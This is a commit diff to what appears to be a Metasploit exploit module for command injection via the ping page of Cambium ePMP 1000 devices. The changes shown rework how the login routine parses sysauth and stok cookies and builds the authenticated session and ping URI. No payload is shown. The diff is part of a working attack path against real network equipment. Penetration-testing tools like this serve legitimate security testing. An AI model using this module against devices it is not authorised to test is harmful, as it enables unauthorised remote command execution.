Implemented get_cookies_parsed

Author: juushya

modules/exploits/linux/http/epmp1000_ping_cmd_shell.rb renamed to modules/exploits/unix/http/epmp1000_ping_cmd_shell.rb

@@ -103,7 +103,7 @@ def check
     if (success != 'false' && !epmp_ver.nil? && epmp_ver < '2.5')
       return CheckCode::Vulnerable
     else
-      return CheckCode::Safe # Using 'Safe' here to imply this ver is not exploitable using the module'
+      return CheckCode::Safe # Using 'Safe' here to imply this ver is not exploitable using ~the module~'
     end
   end
 
@@ -128,16 +128,19 @@ def login(user, pass)
     )
 
     cookies = res.get_cookies_parsed
+    check_sysauth = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s
+
     good_response = (
       res &&
       res.code == 200 &&
-      cookies.include?('sysauth')
+      check_sysauth.include?('sysauth')
     )
 
     if good_response
-      sysauth_value = cookies.match(/((.*)[$ ])/)
+      sysauth_dirty = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s
+      sysauth_value = sysauth_dirty.match(/((.*)[$ ])/)
 
-      cookie1 = "#{sysauth_value}; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D"
+      cookie1 = "#{sysauth_value}" + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D"
 
       res = send_request_cgi(
         {
@@ -158,21 +161,24 @@ def login(user, pass)
       )
 
       cookies = res.get_cookies_parsed
+
       good_response = (
         res &&
         res.code == 200 &&
-        cookies.include?('stok=') &&
+        cookies.has_key?('stok') &&
         !res.body.include?('Maximum number of users reached.')
       )
 
       if good_response
         print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
 
-        # get the cookie now
-        get_stok = cookies.match(/stok=(.*)/)
-        stok_value = get_stok[1]
-        sysauth_value = cookies.match(/((.*)[$ ])/)
-        final_cookie = "#{sysauth_value}; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D; userType=Installer; usernameType=installer; stok=" + "#{stok_value}"
+        # get the final cookie now
+        cookies = res.get_cookies_parsed
+        stok_value = cookies.has_key?('stok') && cookies['stok'].first
+        sysauth_dirty = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s
+        sysauth_value = sysauth_dirty.match(/((.*)[$ ])/) # gets sysauth_*
+
+        final_cookie = "#{sysauth_value}" + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D; userType=Installer; usernameType=installer; stok=" + "#{stok_value}"
 
         # create config_uri
         config_uri_ping = '/cgi-bin/luci/;stok=' + "#{stok_value}" + '/admin/ping'